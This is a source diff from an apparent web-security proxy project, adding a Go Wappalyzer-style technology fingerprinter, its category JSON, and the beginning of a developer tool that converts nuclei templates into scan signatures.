// server's boot path.
|
||||
func LoadWappalyzer() (*Wappalyzer, Stats, error) {
|
||||
var fp struct {
|
||||
Apps map[string]rawApp `json:"apps"`
|
||||
}
|
||||
if err := json.Unmarshal(fingerprintsJSON, &fp); err != nil {
|
||||
return nil, Stats{}, fmt.Errorf("fingerprints: %w", err)
|
||||
}
|
||||
var cats map[string]rawCategory
|
||||
if err := json.Unmarshal(categoriesJSON, &cats); err != nil {
|
||||
return nil, Stats{}, fmt.Errorf("categories: %w", err)
|
||||
}
|
||||
|
||||
w := &Wappalyzer{byName: make(map[string]*techDef, len(fp.Apps))}
|
||||
var st Stats
|
||||
for name, app := range fp.Apps {
|
||||
t := &techDef{name: name}
|
||||
for _, id := range app.Cats {
|
||||
if c, ok := cats[strconv.Itoa(id)]; ok && c.Name != "" {
|
||||
t.cats = append(t.cats, c.Name)
|
||||
}
|
||||
}
|
||||
t.headers = compileNamed(app.Headers, http.CanonicalHeaderKey, &st)
|
||||
t.cookies = compileNamed(app.Cookies, strings.ToLower, &st)
|
||||
t.meta = compileNamed(app.Meta, strings.ToLower, &st)
|
||||
t.html = compileList(app.HTML, &st)
|
||||
t.scriptSrc = compileList(app.ScriptSrc, &st)
|
||||
t.url = compileList(app.URL, &st)
|
||||
for _, imp := range app.Implies {
|
||||
if n := strings.TrimSpace(splitPattern(imp)[0]); n != "" {
|
||||
t.implies = append(t.implies, n)
|
||||
}
|
||||
}
|
||||
|
||||
w.byName[name] = t
|
||||
st.Techs++
|
||||
if len(t.headers) > 0 {
|
||||
w.headerTechs = append(w.headerTechs, t)
|
||||
}
|
||||
if len(t.cookies) > 0 {
|
||||
w.cookieTechs = append(w.cookieTechs, t)
|
||||
}
|
||||
if len(t.url) > 0 {
|
||||
w.urlTechs = append(w.urlTechs, t)
|
||||
}
|
||||
if t.deep() {
|
||||
w.deepTechs = append(w.deepTechs, t)
|
||||
}
|
||||
}
|
||||
return w, st, nil
|
||||
}
|
||||
|
||||
func compileNamed(in map[string]stringList, key func(string) string, st *Stats) map[string][]cpattern {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string][]cpattern, len(in))
|
||||
for name, pats := range in {
|
||||
var cps []cpattern
|
||||
for _, p := range pats {
|
||||
if cp, ok := compilePattern(p, st); ok {
|
||||
cps = append(cps, cp)
|
||||
}
|
||||
}
|
||||
// A named rule with only uncompilable patterns is still a presence check.
|
||||
if len(cps) == 0 {
|
||||
cps = []cpattern{{conf: 100}}
|
||||
}
|
||||
out[key(name)] = cps
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func compileList(in stringList, st *Stats) []cpattern {
|
||||
var out []cpattern
|
||||
for _, p := range in {
|
||||
if cp, ok := compilePattern(p, st); ok {
|
||||
out = append(out, cp)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// splitPattern splits a Wappalyzer pattern on its "\;" tag separator.
|
||||
func splitPattern(p string) []string { return strings.Split(p, `\;`) }
|
||||
|
||||
// compilePattern parses one Wappalyzer pattern: the leading regex plus optional
|
||||
// \;version: and \;confidence: tags. An empty regex compiles to a presence-only
|
||||
// pattern; a regex RE2 rejects is dropped (counted in Stats.Dropped).
|
||||
func compilePattern(raw string, st *Stats) (cpattern, bool) {
|
||||
st.Patterns++
|
||||
parts := splitPattern(raw)
|
||||
expr := parts[0]
|
||||
cp := cpattern{conf: 100}
|
||||
for _, tag := range parts[1:] {
|
||||
switch {
|
||||
case strings.HasPrefix(tag, "version:"):
|
||||
cp.verGroup = firstBackref(tag[len("version:"):])
|
||||
case strings.HasPrefix(tag, "confidence:"):
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(tag[len("confidence:"):])); err == nil {
|
||||
cp.conf = n
|
||||
}
|
||||
}
|
||||
}
|
||||
if expr == "" {
|
||||
return cp, true
|
||||
}
|
||||
re, err := regexp.Compile("(?i)" + expr)
|
||||
if err != nil {
|
||||
st.Dropped++
|
||||
return cpattern{}, false
|
||||
}
|
||||
cp.re = re
|
||||
return cp, true
|
||||
}
|
||||
|
||||
var backrefRe = regexp.MustCompile(`\\(\d+)`)
|
||||
|
||||
// firstBackref returns the first \N group index in a version spec, or 0. The
|
||||
// ternary forms Wappalyzer sometimes uses (\1?\2:) degrade to their first group.
|
||||
func firstBackref(spec string) int {
|
||||
m := backrefRe.FindStringSubmatch(spec)
|
||||
if m == nil {
|
||||
return 0
|
||||
}
|
||||
n, _ := strconv.Atoi(m[1])
|
||||
return n
|
||||
}
|
||||
|
||||
// Fingerprint returns every technology the input reveals, with implied
|
||||
// technologies resolved transitively.
|
||||
func (w *Wappalyzer) Fingerprint(in Input) []Detection {
|
||||
hits := map[string]*Detection{}
|
||||
|
||||
mark := func(t *techDef, cp cpattern, m []string) {
|
||||
d := hits[t.name]
|
||||
if d == nil {
|
||||
d = &Detection{Name: t.name, Categories: t.cats, Confidence: cp.conf}
|
||||
hits[t.name] = d
|
||||
}
|
||||
if cp.conf > d.Confidence {
|
||||
d.Confidence = cp.conf
|
||||
}
|
||||
if d.Version == "" && cp.verGroup > 0 && len(m) > cp.verGroup {
|
||||
d.Version = strings.TrimSpace(m[cp.verGroup])
|
||||
}
|
||||
}
|
||||
match := func(t *techDef, cps []cpattern, hay string) {
|
||||
for _, cp := range cps {
|
||||
if cp.re == nil {
|
||||
mark(t, cp, nil)
|
||||
continue
|
||||
}
|
||||
if m := cp.re.FindStringSubmatch(hay); m != nil {
|
||||
mark(t, cp, m)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if in.Header != nil {
|
||||
for _, t := range w.headerTechs {
|
||||
for name, cps := range t.headers {
|
||||
vals := in.Header.Values(name)
|
||||
if len(vals) == 0 {
|
||||
continue
|
||||
}
|
||||
match(t, cps, strings.Join(vals, ", "))
|
||||
}
|
||||
}
|
||||
if cookies := parseSetCookies(in.Header); len(cookies) > 0 {
|
||||
for _, t := range w.cookieTechs {
|
||||
for name, cps := range t.cookies {
|
||||
if v, ok := cookies[name]; ok {
|
||||
match(t, cps, v)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if in.URL != "" {
|
||||
for _, t := range w.urlTechs {
|
||||
match(t, t.url, in.URL)
|
||||
}
|
||||
}
|
||||
if in.IsHTML && len(in.Body) > 0 {
|
||||
body := string(in.Body)
|
||||
scripts := extractScriptSrcs(body)
|
||||
metas := extractMetas(body)
|
||||
for _, t := range w.deepTechs {
|
||||
match(t, t.html, body)
|
||||
for _, cp := range t.scriptSrc {
|
||||
for _, src := range scripts {
|
||||
if cp.re == nil {
|
||||
mark(t, cp, nil)
|
||||
break
|
||||
}
|
||||
if m := cp.re.FindStringSubmatch(src); m != nil {
|
||||
mark(t, cp, m)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
for name, cps := range t.meta {
|
||||
if v, ok := metas[name]; ok {
|
||||
match(t, cps, v)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
w.resolveImplies(hits)
|
||||
|
||||
out := make([]Detection, 0, len(hits))
|
||||
for _, d := range hits {
|
||||
out = append(out, *d)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// resolveImplies adds implied technologies transitively. Implied techs are given
|
||||
// a reduced confidence so a directly-observed tech always outranks an inferred one.
|
||||
func (w *Wappalyzer) resolveImplies(hits map[string]*Detection) {
|
||||
queue := make([]string, 0, len(hits))
|
||||
for name := range hits {
|
||||
queue = append(queue, name)
|
||||
}
|
||||
for len(queue) > 0 {
|
||||
name := queue[0]
|
||||
queue = queue[1:]
|
||||
t := w.byName[name]
|
||||
if t == nil {
|
||||
continue
|
||||
}
|
||||
for _, imp := range t.implies {
|
||||
if _, seen := hits[imp]; seen {
|
||||
continue
|
||||
}
|
||||
it := w.byName[imp]
|
||||
cats := []string(nil)
|
||||
if it != nil {
|
||||
cats = it.cats
|
||||
}
|
||||
hits[imp] = &Detection{Name: imp, Categories: cats, Confidence: 50}
|
||||
queue = append(queue, imp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// parseSetCookies maps lower-cased cookie names to their values from Set-Cookie.
|
||||
func parseSetCookies(h http.Header) map[string]string {
|
||||
vals := h.Values("Set-Cookie")
|
||||
if len(vals) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]string, len(vals))
|
||||
for _, c := range vals {
|
||||
pair := c
|
||||
if i := strings.IndexByte(pair, ';'); i >= 0 {
|
||||
pair = pair[:i]
|
||||
}
|
||||
name, value, ok := strings.Cut(pair, "=")
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
out[strings.ToLower(strings.TrimSpace(name))] = strings.TrimSpace(value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// HTML attribute extractors, hand-rolled and lenient for the same reason echo's
|
||||
// context scanner is: these run over adversarial markup and x/net/html's strict
|
||||
// tokenizer would reject what a browser tolerates.
|
||||
var (
|
||||
scriptSrcRe = regexp.MustCompile(`(?i)<script\b[^>]*\bsrc\s*=\s*["']?([^"'\s>]+)`)
|
||||
metaTagRe = regexp.MustCompile(`(?i)<meta\b[^>]*>`)
|
||||
metaNameRe = regexp.MustCompile(`(?i)\b(?:name|property|http-equiv)\s*=\s*["']?([^"'\s>]+)`)
|
||||
metaContRe = regexp.MustCompile(`(?i)\bcontent\s*=\s*["']?([^"'>]*)`)
|
||||
)
|
||||
|
||||
func extractScriptSrcs(body string) []string {
|
||||
ms := scriptSrcRe.FindAllStringSubmatch(body, -1)
|
||||
out := make([]string, 0, len(ms))
|
||||
for _, m := range ms {
|
||||
out = append(out, m[1])
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func extractMetas(body string) map[string]string {
|
||||
tags := metaTagRe.FindAllString(body, -1)
|
||||
out := make(map[string]string, len(tags))
|
||||
for _, tag := range tags {
|
||||
name := metaNameRe.FindStringSubmatch(tag)
|
||||
cont := metaContRe.FindStringSubmatch(tag)
|
||||
if name == nil || cont == nil {
|
||||
continue
|
||||
}
|
||||
out[strings.ToLower(name[1])] = cont[1]
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2021 ProjectDiscovery, Inc.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,774 @@
|
||||
{
|
||||
"1": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "CMS",
|
||||
"priority": 1
|
||||
},
|
||||
"2": {
|
||||
"groups": [
|
||||
3,
|
||||
4,
|
||||
18
|
||||
],
|
||||
"name": "Message boards",
|
||||
"priority": 1
|
||||
},
|
||||
"3": {
|
||||
"groups": [
|
||||
5
|
||||
],
|
||||
"name": "Database managers",
|
||||
"priority": 2
|
||||
},
|
||||
"4": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Documentation",
|
||||
"priority": 2
|
||||
},
|
||||
"5": {
|
||||
"groups": [
|
||||
6
|
||||
],
|
||||
"name": "Widgets",
|
||||
"priority": 9
|
||||
},
|
||||
"6": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Ecommerce",
|
||||
"priority": 1
|
||||
},
|
||||
"7": {
|
||||
"groups": [
|
||||
3,
|
||||
10
|
||||
],
|
||||
"name": "Photo galleries",
|
||||
"priority": 1
|
||||
},
|
||||
"8": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Wikis",
|
||||
"priority": 1
|
||||
},
|
||||
"9": {
|
||||
"groups": [
|
||||
5,
|
||||
7
|
||||
],
|
||||
"name": "Hosting panels",
|
||||
"priority": 2
|
||||
},
|
||||
"10": {
|
||||
"groups": [
|
||||
8
|
||||
],
|
||||
"name": "Analytics",
|
||||
"priority": 9
|
||||
},
|
||||
"11": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Blogs",
|
||||
"priority": 1
|
||||
},
|
||||
"12": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "JavaScript frameworks",
|
||||
"priority": 8
|
||||
},
|
||||
"13": {
|
||||
"groups": [
|
||||
3,
|
||||
18
|
||||
],
|
||||
"name": "Issue trackers",
|
||||
"priority": 2
|
||||
},
|
||||
"14": {
|
||||
"groups": [
|
||||
10
|
||||
],
|
||||
"name": "Video players",
|
||||
"priority": 7
|
||||
},
|
||||
"15": {
|
||||
"groups": [
|
||||
3,
|
||||
18
|
||||
],
|
||||
"name": "Comment systems",
|
||||
"priority": 9
|
||||
},
|
||||
"16": {
|
||||
"groups": [
|
||||
11
|
||||
],
|
||||
"name": "Security",
|
||||
"priority": 9
|
||||
},
|
||||
"17": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Font scripts",
|
||||
"priority": 9
|
||||
},
|
||||
"18": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Web frameworks",
|
||||
"priority": 7
|
||||
},
|
||||
"19": {
|
||||
"groups": [
|
||||
6
|
||||
],
|
||||
"name": "Miscellaneous",
|
||||
"priority": 10
|
||||
},
|
||||
"20": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Editors",
|
||||
"priority": 4
|
||||
},
|
||||
"21": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "LMS",
|
||||
"priority": 1
|
||||
},
|
||||
"22": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Web servers",
|
||||
"priority": 8
|
||||
},
|
||||
"23": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Caching",
|
||||
"priority": 7
|
||||
},
|
||||
"24": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Rich text editors",
|
||||
"priority": 5
|
||||
},
|
||||
"25": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "JavaScript graphics",
|
||||
"priority": 6
|
||||
},
|
||||
"26": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Mobile frameworks",
|
||||
"priority": 8
|
||||
},
|
||||
"27": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Programming languages",
|
||||
"priority": 5
|
||||
},
|
||||
"28": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Operating systems",
|
||||
"priority": 6
|
||||
},
|
||||
"29": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Search engines",
|
||||
"priority": 4
|
||||
},
|
||||
"30": {
|
||||
"groups": [
|
||||
4
|
||||
],
|
||||
"name": "Webmail",
|
||||
"priority": 2
|
||||
},
|
||||
"31": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "CDN",
|
||||
"priority": 9
|
||||
},
|
||||
"32": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "Marketing automation",
|
||||
"priority": 9
|
||||
},
|
||||
"33": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Web server extensions",
|
||||
"priority": 7
|
||||
},
|
||||
"34": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Databases",
|
||||
"priority": 5
|
||||
},
|
||||
"35": {
|
||||
"groups": [
|
||||
17
|
||||
],
|
||||
"name": "Maps",
|
||||
"priority": 6
|
||||
},
|
||||
"36": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "Advertising",
|
||||
"priority": 9
|
||||
},
|
||||
"37": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Network devices",
|
||||
"priority": 2
|
||||
},
|
||||
"38": {
|
||||
"groups": [
|
||||
10,
|
||||
7
|
||||
],
|
||||
"name": "Media servers",
|
||||
"priority": 1
|
||||
},
|
||||
"39": {
|
||||
"groups": [
|
||||
4
|
||||
],
|
||||
"name": "Webcams",
|
||||
"priority": 9
|
||||
},
|
||||
"41": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Payment processors",
|
||||
"priority": 8
|
||||
},
|
||||
"42": {
|
||||
"groups": [
|
||||
8
|
||||
],
|
||||
"name": "Tag managers",
|
||||
"priority": 9
|
||||
},
|
||||
"44": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "CI",
|
||||
"priority": 3
|
||||
},
|
||||
"45": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Control systems",
|
||||
"priority": 2
|
||||
},
|
||||
"46": {
|
||||
"groups": [
|
||||
4
|
||||
],
|
||||
"name": "Remote access",
|
||||
"priority": 1
|
||||
},
|
||||
"47": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Development",
|
||||
"priority": 2
|
||||
},
|
||||
"48": {
|
||||
"groups": [
|
||||
10
|
||||
],
|
||||
"name": "Network storage",
|
||||
"priority": 2
|
||||
},
|
||||
"49": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Feed readers",
|
||||
"priority": 1
|
||||
},
|
||||
"50": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "DMS",
|
||||
"priority": 1
|
||||
},
|
||||
"51": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Page builders",
|
||||
"priority": 1
|
||||
},
|
||||
"52": {
|
||||
"groups": [
|
||||
4,
|
||||
16
|
||||
],
|
||||
"name": "Live chat",
|
||||
"priority": 9
|
||||
},
|
||||
"53": {
|
||||
"groups": [
|
||||
2,
|
||||
16
|
||||
],
|
||||
"name": "CRM",
|
||||
"priority": 5
|
||||
},
|
||||
"54": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "SEO",
|
||||
"priority": 8
|
||||
},
|
||||
"55": {
|
||||
"groups": [
|
||||
16
|
||||
],
|
||||
"name": "Accounting",
|
||||
"priority": 1
|
||||
},
|
||||
"56": {
|
||||
"groups": [
|
||||
5
|
||||
],
|
||||
"name": "Cryptominers",
|
||||
"priority": 5
|
||||
},
|
||||
"57": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Static site generator",
|
||||
"priority": 1
|
||||
},
|
||||
"58": {
|
||||
"groups": [
|
||||
6
|
||||
],
|
||||
"name": "User onboarding",
|
||||
"priority": 8
|
||||
},
|
||||
"59": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "JavaScript libraries",
|
||||
"priority": 9
|
||||
},
|
||||
"60": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Containers",
|
||||
"priority": 8
|
||||
},
|
||||
"62": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "PaaS",
|
||||
"priority": 8
|
||||
},
|
||||
"63": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "IaaS",
|
||||
"priority": 8
|
||||
},
|
||||
"64": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Reverse proxies",
|
||||
"priority": 7
|
||||
},
|
||||
"65": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Load balancers",
|
||||
"priority": 7
|
||||
},
|
||||
"66": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "UI frameworks",
|
||||
"priority": 7
|
||||
},
|
||||
"67": {
|
||||
"groups": [
|
||||
13
|
||||
],
|
||||
"name": "Cookie compliance",
|
||||
"priority": 9
|
||||
},
|
||||
"68": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Accessibility",
|
||||
"priority": 9
|
||||
},
|
||||
"69": {
|
||||
"groups": [
|
||||
11
|
||||
],
|
||||
"name": "Authentication",
|
||||
"priority": 6
|
||||
},
|
||||
"70": {
|
||||
"groups": [
|
||||
11
|
||||
],
|
||||
"name": "SSL/TLS certificate authorities",
|
||||
"priority": 9
|
||||
},
|
||||
"71": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "Affiliate programs",
|
||||
"priority": 9
|
||||
},
|
||||
"72": {
|
||||
"groups": [
|
||||
14
|
||||
],
|
||||
"name": "Appointment scheduling",
|
||||
"priority": 9
|
||||
},
|
||||
"73": {
|
||||
"groups": [
|
||||
8
|
||||
],
|
||||
"name": "Surveys",
|
||||
"priority": 9
|
||||
},
|
||||
"74": {
|
||||
"groups": [
|
||||
8
|
||||
],
|
||||
"name": "A/B Testing",
|
||||
"priority": 9
|
||||
},
|
||||
"75": {
|
||||
"groups": [
|
||||
4,
|
||||
2
|
||||
],
|
||||
"name": "Email",
|
||||
"priority": 9
|
||||
},
|
||||
"76": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "Personalisation",
|
||||
"priority": 9
|
||||
},
|
||||
"77": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "Retargeting",
|
||||
"priority": 9
|
||||
},
|
||||
"78": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "RUM",
|
||||
"priority": 9
|
||||
},
|
||||
"79": {
|
||||
"groups": [
|
||||
17
|
||||
],
|
||||
"name": "Geolocation",
|
||||
"priority": 9
|
||||
},
|
||||
"80": {
|
||||
"groups": [
|
||||
15
|
||||
],
|
||||
"name": "WordPress themes",
|
||||
"priority": 7
|
||||
},
|
||||
"81": {
|
||||
"groups": [
|
||||
15
|
||||
],
|
||||
"name": "Shopify themes",
|
||||
"priority": 7
|
||||
},
|
||||
"82": {
|
||||
"groups": [
|
||||
15
|
||||
],
|
||||
"name": "Drupal themes",
|
||||
"priority": 7
|
||||
},
|
||||
"83": {
|
||||
"groups": [
|
||||
8
|
||||
],
|
||||
"name": "Browser fingerprinting",
|
||||
"priority": 9
|
||||
},
|
||||
"84": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Loyalty & rewards",
|
||||
"priority": 9
|
||||
},
|
||||
"85": {
|
||||
"groups": [
|
||||
9
|
||||
],
|
||||
"name": "Feature management",
|
||||
"priority": 9
|
||||
},
|
||||
"86": {
|
||||
"groups": [
|
||||
2
|
||||
],
|
||||
"name": "Segmentation",
|
||||
"priority": 9
|
||||
},
|
||||
"87": {
|
||||
"groups": [
|
||||
15
|
||||
],
|
||||
"name": "WordPress plugins",
|
||||
"priority": 8
|
||||
},
|
||||
"88": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Hosting",
|
||||
"priority": 9
|
||||
},
|
||||
"89": {
|
||||
"groups": [
|
||||
3
|
||||
],
|
||||
"name": "Translation",
|
||||
"priority": 9
|
||||
},
|
||||
"90": {
|
||||
"groups": [
|
||||
2,
|
||||
18
|
||||
],
|
||||
"name": "Reviews",
|
||||
"priority": 9
|
||||
},
|
||||
"91": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Buy now pay later",
|
||||
"priority": 9
|
||||
},
|
||||
"92": {
|
||||
"groups": [
|
||||
7
|
||||
],
|
||||
"name": "Performance",
|
||||
"priority": 9
|
||||
},
|
||||
"93": {
|
||||
"groups": [
|
||||
14
|
||||
],
|
||||
"name": "Reservations & delivery",
|
||||
"priority": 9
|
||||
},
|
||||
"94": {
|
||||
"groups": [
|
||||
2,
|
||||
1
|
||||
],
|
||||
"name": "Referral marketing",
|
||||
"priority": 9
|
||||
},
|
||||
"95": {
|
||||
"groups": [
|
||||
10
|
||||
],
|
||||
"name": "Digital asset management",
|
||||
"priority": 9
|
||||
},
|
||||
"96": {
|
||||
"groups": [
|
||||
2,
|
||||
18
|
||||
],
|
||||
"name": "Content curation",
|
||||
"priority": 9
|
||||
},
|
||||
"97": {
|
||||
"groups": [
|
||||
2,
|
||||
8
|
||||
],
|
||||
"name": "Customer data platform",
|
||||
"priority": 9
|
||||
},
|
||||
"98": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Cart abandonment",
|
||||
"priority": 9
|
||||
},
|
||||
"99": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Shipping carriers",
|
||||
"priority": 9
|
||||
},
|
||||
"100": {
|
||||
"groups": [
|
||||
15
|
||||
],
|
||||
"name": "Shopify apps",
|
||||
"priority": 8
|
||||
},
|
||||
"101": {
|
||||
"groups": [
|
||||
6,
|
||||
16
|
||||
],
|
||||
"name": "Recruitment & staffing",
|
||||
"priority": 9
|
||||
},
|
||||
"102": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Returns",
|
||||
"priority": 9
|
||||
},
|
||||
"103": {
|
||||
"groups": [
|
||||
1,
|
||||
10
|
||||
],
|
||||
"name": "Livestreaming",
|
||||
"priority": 9
|
||||
},
|
||||
"104": {
|
||||
"groups": [
|
||||
14
|
||||
],
|
||||
"name": "Ticket booking",
|
||||
"priority": 9
|
||||
},
|
||||
"105": {
|
||||
"groups": [
|
||||
10
|
||||
],
|
||||
"name": "Augmented reality",
|
||||
"priority": 9
|
||||
},
|
||||
"106": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Cross border ecommerce",
|
||||
"priority": 6
|
||||
},
|
||||
"107": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Fulfilment",
|
||||
"priority": 6
|
||||
},
|
||||
"108": {
|
||||
"groups": [
|
||||
1
|
||||
],
|
||||
"name": "Ecommerce frontends",
|
||||
"priority": 6
|
||||
},
|
||||
"109": {
|
||||
"groups": [
|
||||
6
|
||||
],
|
||||
"name": "Domain parking",
|
||||
"priority": 9
|
||||
},
|
||||
"110": {
|
||||
"groups": [
|
||||
8
|
||||
],
|
||||
"name": "Form builders",
|
||||
"priority": 8
|
||||
},
|
||||
"111": {
|
||||
"groups": [
|
||||
6
|
||||
],
|
||||
"name": "Fundraising & donations",
|
||||
"priority": 9
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -455,6 +455,7 @@ func runProxyMode(ctx context.Context, cfg config.Config) {
|
||||
apiSrv.StartDetectLoop(ctx)
|
||||
apiSrv.StartAnomalyLoop(ctx)
|
||||
apiSrv.StartEchoLoop(ctx)
|
||||
apiSrv.StartTechLoop(ctx)
|
||||
|
||||
// Start proxy server.
|
||||
proxyDone := make(chan struct{})
|
||||
|
||||
@@ -0,0 +1,383 @@
|
||||
// Command nucleigen is Joro's design-time converter: it reads a reviewed
|
||||
// nuclei-templates checkout and emits the normalized signature dataset that
|
||||
// internal/activescan/templatesig embeds. It is a developer tool and is never
|
||||
// imported by the server — the server ships the generated JSON, not a YAML parser.
|
||||
//
|
||||
// It is fail-closed: a template is converted only when its whole logic fits the
|
||||
// supported HTTP matcher subset (a single http request block; method+path probes;
|
||||
// status/word/regex/size matchers with and/or and negation; RE2-compatible
|
||||
// regexes). Everything else is dropped and tallied in a skip census — the census
|
||||
// being the roadmap for what to support next.
|
||||
//
|
||||
// Usage:
|
||||
//
|
||||
// go run ./tools/nucleigen -templates /path/to/nuclei-templates -out internal/activescan/templatesig/signatures.json
|
||||
//
|
||||
// By default it reads only the http/ tree and excludes http/technologies/, whose
|
||||
// detection job belongs to the passive fingerprinter.
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan/templatesig"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var (
|
||||
templatesDir = flag.String("templates", "", "path to a nuclei-templates checkout")
|
||||
outPath = flag.String("out", "internal/activescan/templatesig/signatures.json", "output dataset path")
|
||||
subdir = flag.String("subdir", "http", "subtree under the checkout to walk")
|
||||
)
|
||||
flag.Parse()
|
||||
if *templatesDir == "" {
|
||||
fmt.Fprintln(os.Stderr, "nucleigen: -templates is required")
|
||||
os.Exit(2)
|
||||
}
|
||||
|
||||
techNames, err := loadTechNames()
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "nucleigen: load tech names: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
root := filepath.Join(*templatesDir, *subdir)
|
||||
census := map[string]int{}
|
||||
var sigs []templatesig.Signature
|
||||
seen := map[string]bool{}
|
||||
|
||||
walkErr := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if !strings.HasSuffix(path, ".yaml") && !strings.HasSuffix(path, ".yml") {
|
||||
return nil
|
||||
}
|
||||
// Detection-only templates are the fingerprinter's job, not a vuln signature.
|
||||
if strings.Contains(filepath.ToSlash(path), "/technologies/") {
|
||||
census["excluded:technologies"]++
|
||||
return nil
|
||||
}
|
||||
